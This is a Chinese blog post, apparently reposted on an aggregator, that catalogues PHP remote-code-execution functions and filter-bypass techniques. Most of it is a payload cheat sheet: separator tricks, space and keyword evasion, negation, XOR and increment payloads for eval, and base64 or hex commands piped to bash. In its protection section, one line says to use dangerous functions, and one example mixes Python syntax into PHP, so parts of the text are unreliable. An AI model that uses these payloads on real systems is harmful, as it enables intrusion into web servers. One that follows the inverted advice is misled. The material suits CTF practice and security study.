RCE漏洞详解及绕过总结(全面)

2023-11-12

作者永不落的梦想

作者主页传送

座右铭过去属于死神,未来属于自己

本文专栏Web漏洞篇

今日鸡汤只有承担起旅途风雨,最终才能守得住彩虹满天

目录

一、rce漏洞概述

二、常见RCE漏洞函数

1.系统命令执行函数

2.代码执行函数

二、RCE绕过

管道符

空格过滤

反斜杠\绕过

取反绕过

异或绕过

自增绕过

黑名单绕过

base和hex编码绕过

正则匹配绕过

引号绕过

cat替换命令

回溯绕过

无回显RCE

无参数RCE

无字母数字RCE

三、RCE漏洞危害

四、RCE漏洞防护


一、rce漏洞概述

        在Web应用开发中为了灵活性、简洁性等会让应用调用代码执行函数或系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞;

二、常见RCE漏洞函数

1.系统命令执行函数

system():能将字符串作为OS命令执行,且返回命令执行结果;

exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显);

shell_exec():能将字符串作为OS命令执行

passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;

popen():打开进程文件指针

proc_open():与popen()类似

pcntl_exec():在当前进程空间执行指定程序;

反引号``:反引号``内的字符串会被解析为OS命令;

2.代码执行函数

eval():将字符串作为php代码执行;

assert():将字符串作为php代码执行;

preg_replace():正则匹配替换字符串;

create_function():主要创建匿名函数;

call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;

call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组;

可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;

二、RCE绕过

管道符

管道符 实例 描述
; A;B 无论真假,A与B都执行
& A&B 无论真假,A与B都执行
&& A&&B A为真时才执行B,否则只执行A
| A|B 显示B的执行结果
|| A||B A为假时才执行B,否则只执行A

空格过滤

以下可代替空格
< <> %20(即space)
%09(即tab) $IFS$9 ${IFS}
$IFS {cat,/flag}

反斜杠\绕过

//如cat、ls被过滤,使用\绕过
c\at /flag
l\s /

取反绕过

//取反传参
<?php

$a = "system";
$b = "cat /flag";

$c = urlencode(~$a);
$d = urlencode(~$b);

//输出得到取反传参内容
echo "?cmd=(~".$c.")(~".$d.");"
?>

异或绕过

# 异或构造Python脚本
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "

answer = input('输入异或构造的字符串:')

tmp1, tmp2 = '', ''
for c in answer:
    for i in valid:
        for j in valid:
            if ord(i) ^ ord(j) == ord(c):
                tmp1 += i
                tmp2 += j
                break
        else:
            continue
        break

print(f'"{tmp1}"^"{tmp2}"')

 

//异或php脚本

<?php
$a='phpinfo';
for ($i = 0;$i <strlen($a);$i++)
    echo '%'.dechex(ord($a[$i])^0xff);
echo "^";
for ($j=0;$j<strlen($a);$j++)
    echo '%ff';
?>

//输出:%8f%97%8f%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff
//简单例题,flag再phpinfo()中,需要执行php命令:phpinfo();

<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
    die("invalid input!");
}
eval($mess);


//构造payload,字符串phpinfo异或结果为"0302181"^"@[@[_^^"

mess=$_="0302181"^"@[@[_^^";$_();

自增绕过

//自增payload,assert($_POST[_]),命令传入_

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);&_=phpinfo();

黑名单绕过

//变量拼接,如flag被过滤
将:
cat /flag
替换为:
b=ag;cat /fl$b

//等效于打开ls目录下的文件
cat `ls`

//_被过滤
N[S.S等效于N_S.S

//php标签绕过
?><?= phpinfo(); ?>

base和hex编码绕过

//base64编码绕过,编码cat /flag,反引号、| bash、$()用于执行系统命令
`echo Y2F0IC9mbGFn | base64 -d`
echo Y2F0IC9mbGFn | base64 -d | bash
$(echo Y2F0IC9mbGFn | base64 -d)

//hex编码绕过,编码cat /flag,| bash用于执行系统命令
echo '636174202f666c6167' | xxd -r -p | bash

//shellcode编码
//十六进制编码

正则匹配绕过

//如flag被过滤
cat /f???
cat /fl*
cat /f[a-z]{3}

引号绕过

//如cat、ls被过滤
ca""t /flag
l's' /

cat替换命令

more less cat tac
head tail vi vim
nl od sort uniq
tac 与cat相反,按行反向输出
more 按页显示,用于文件内容较多且不能滚动屏幕时查看文件
less 与more类似
tail 查看文件末几行
head 查看文件首几行
nl 在cat查看文件的基础上显示行号
od 以二进制方式读文件,od -A d -c /flag转人可读字符
xxd 以二进制方式读文件,同时有可读字符显示
sort 排序文件
uniq 报告或删除文件的重复行
file -f 报错文件内容
grep 过滤查找字符串,grep flag /flag

回溯绕过

//php正则的回溯次数大于1000000次时返回False
$a = 'hello world'+'h'*1000000
preg_match("/hello.*world/is",$a) == False

无回显RCE

//无回显RCE,如exce()函数,可将执行结果输出到文件再访问文件执行以下命令后访问1.txt即可
ls / | tee 1.txt
cat /flag | tee 2.txt
//eval()无输出
eval(print`c\at /flag`;)

无参数RCE

        利用getallheaders()、get_defined_vars()、session_id等;

无字母数字RCE

        异或、取反、自增、临时文件上传;

三、RCE漏洞危害

        ①继承Web服务器程序权限,去执行系统命令;

        ②继承Web服务器权限,读写文件;

        ③反弹shell;

        ④控制整个网站甚至是服务器;

四、RCE漏洞防护

        ①对用户的输入作严格的过滤,如白名单策略;

        ②尽量使用容易产生漏洞的危险函数;

        ③保证用户不用控制危险函数的传参;

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

RCE漏洞详解及绕过总结(全面) 的相关文章

随机推荐

  • Maven项目添加mysql-connector-java依赖失败:dependency ‘mysql-connector-java‘not found

    在IDEA中搭建Scala项目 需要将处理过的数据存储到本地mysql数据库中 故需要在Maven的pom xml中添加mysql connector java依赖包 可能是我之前迁移AS项目时更改了在C盘User目录下的 m2 仓库文件
  • 对视觉目标检测的整体认知(基于目标检测综述)

    计算机视觉领域研究的绝大多数问题均存在诸多不确定性因素 因为图像理解是成像的逆过程 成像是从三维向二维投影的过程 在此过程中不仅会丢失深度信息 而且光照 材料特性 朝向 距离等信息都反映成唯一的测量值 即灰度或色彩 而要从这唯一的测量值中恢
  • 双向链表的实现

    定义一个双向链表 定义双向链表 typedef struct LinkNode int data 数据域 LinkNode next 下一个节点 LinkNode last 上一个节点 LinkNode 节点域 LinkList 头结点 初
  • NeRF:神经辐射场论文原理讲解

    一 新视角合成 NeRF是开创了一种全新的视角合成方法 新视角合成任务指的是给定源图像 Source Image 及对应的源姿态 Source Pose 以及目标姿态 Target Pose 渲染生成目标姿态对应的图片 Target 源姿态
  • java: 无法从静态上下文中引用非静态 方法

    Error 11 9 java 无法从静态上下文中引用非静态 方法 printArraylist java util ArrayList
  • 分享一个最好用的剪切板管理软件

    对于每一个离不开电脑的朋友来说 不断的复制 粘贴 剪切 粘贴 是常有的事 而且电脑断电 程序异常退出 因手欠而错关了编辑器等类似噩梦经常发生 之前我找到一个名叫 M8 Free Clipboard 是用起来还算方便 可是免费用户只能保存有限
  • LLc用simplis 如何建模

    简单来说 Simplis 模型的建模方法包括 数据预处理 特征工程 模型设计和调参 首先 需要收集所需的数据 并对数据进行预处理 清洗和标准化 然后 需要进行特征工程 确定哪些特征有助于模型预测 并调整特征以提高模型准确性 接下来 根据数据
  • 【初识Git工具】Git工具的基本介绍

    初识Git工具 Git工具的基本介绍 一 什么是Git 1 1 Git简介 1 2 Git和SVN区别 1 3 常用的Git工具 二 Git的起源 三 Git的优点 四 Git的架构 五 Git的基本概念 5 1 仓库 Repository
  • 电子邮件链接mailto_“ 3个链接”电子邮件的历史记录以及曾经发送的每个链接的存档...

    电子邮件链接mailto by Quincy Larson 昆西 拉尔森 Quincy Larson 3个链接 电子邮件的历史记录以及曾经发送的每个链接的存档 The history of the 3 links email and an
  • 深入理解overlayfs(一):初识

    版权声明 本文为CSDN博主 luckyapple1028 的原创文章 遵循CC 4 0 BY SA版权协议 转载请附上原文出处链接及本声明 原文链接 https blog csdn net luckyapple1028 article d
  • Python-爬虫初体验

    在网易云课堂上看的教学视频 现在来巩固一下知识 先确定自己要爬的网站 以新浪新闻网站为例确 import requests 跟java的导包差不多 python叫导入库 res requests get http news sina com
  • Android 集成 Flutter

    前言 使用 Flutter 已经有一段时间了 开发体验还是非常好的 但是一般我们在正式使用 Flutter 的时候很少会去创建一个纯 Flutter 项目 而是需要在之前的项目中已集成的方式来编写 Flutter 这篇文章将以如何在 And
  • MySQL基础篇-第00章_写在前面

    第00章 写在前面 讲师 尚硅谷 宋红康 江湖人称 康师傅 官网 http www atguigu com 一 MySQL数据库基础篇大纲 MySQL数据库基础篇分为5个篇章 1 数据库概述与MySQL安装篇 第01章 数据库概述 第02章
  • AC-Campus准入控制--Mac

    MAC认证 简介 MAC地址认证是一种基于端口和MAC地址对用户的网络访问权限进行控制的认证方法 它不需要用户安装任何客户端软件 用户名和密码都是用户设备的MAC地址 网络接入设备在首次检测到用户的MAC地址以后 即启动对该用户的认证 用户
  • 图像分类比赛

    cp data wanghd s4 data car data data wanghd whd 使用该命令报错 添加 r 可以实现正常复制 速度非常快 参考博客得到解决 Linux常见错误 cp omitting directory 解决办
  • 输出一个单链表&&反向输出一个单链表(最后有原链接)

    输出一个单链表 假设我们有一个单链表 let list value 1 next value 2 next value 3 next value 4 next null 编写一个可以逐个输出链表元素的函数 printList list 使用
  • arcgis for landsat 8处理

    landsat8的详细数据处理http vdisk weibo com s zrSeGYf9hMRAH http blog sina com cn s blog 764b1e9d01018z6j html http blog sina co
  • osgEarth的Rex引擎原理分析(五十五)Rex引擎如何给shader文件中的uniform变量赋值

    目标 五十四 中的问题128 有几个地方 RexEngine SDK vert glsl中的 uniform sampler2D oe tile elevationTex osgEarthDrivers engine rex RexTerr
  • 全桥逆变电路部分分析

    首先来看单相逆变不间断电源设计电路中的全桥逆变电路部分 它是由两个IR2101驱动和4个MOS管构成的全桥逆变电路 有人会说了 IR2101不是半桥驱动芯片吗 没错 的确是半桥驱动芯片 和IR2104一样的 常被用在三相逆变电路中做三个半桥
  • RCE漏洞详解及绕过总结(全面)

    作者 永不落的梦想 作者主页 传送 座右铭 过去属于死神 未来属于自己 本文专栏 Web漏洞篇 今日鸡汤 只有承担起旅途风雨 最终才能守得住彩虹满天 目录 一 rce漏洞概述 二 常见RCE漏洞函数 1 系统命令执行函数 2 代码执行函数